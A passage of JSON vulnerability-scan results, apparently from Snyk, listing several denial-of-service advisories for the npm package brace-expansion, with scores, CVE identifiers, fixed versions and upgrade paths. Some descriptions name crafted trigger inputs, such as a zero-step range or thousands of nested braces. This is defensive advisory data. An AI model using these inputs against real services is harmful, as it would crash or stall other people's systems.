"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
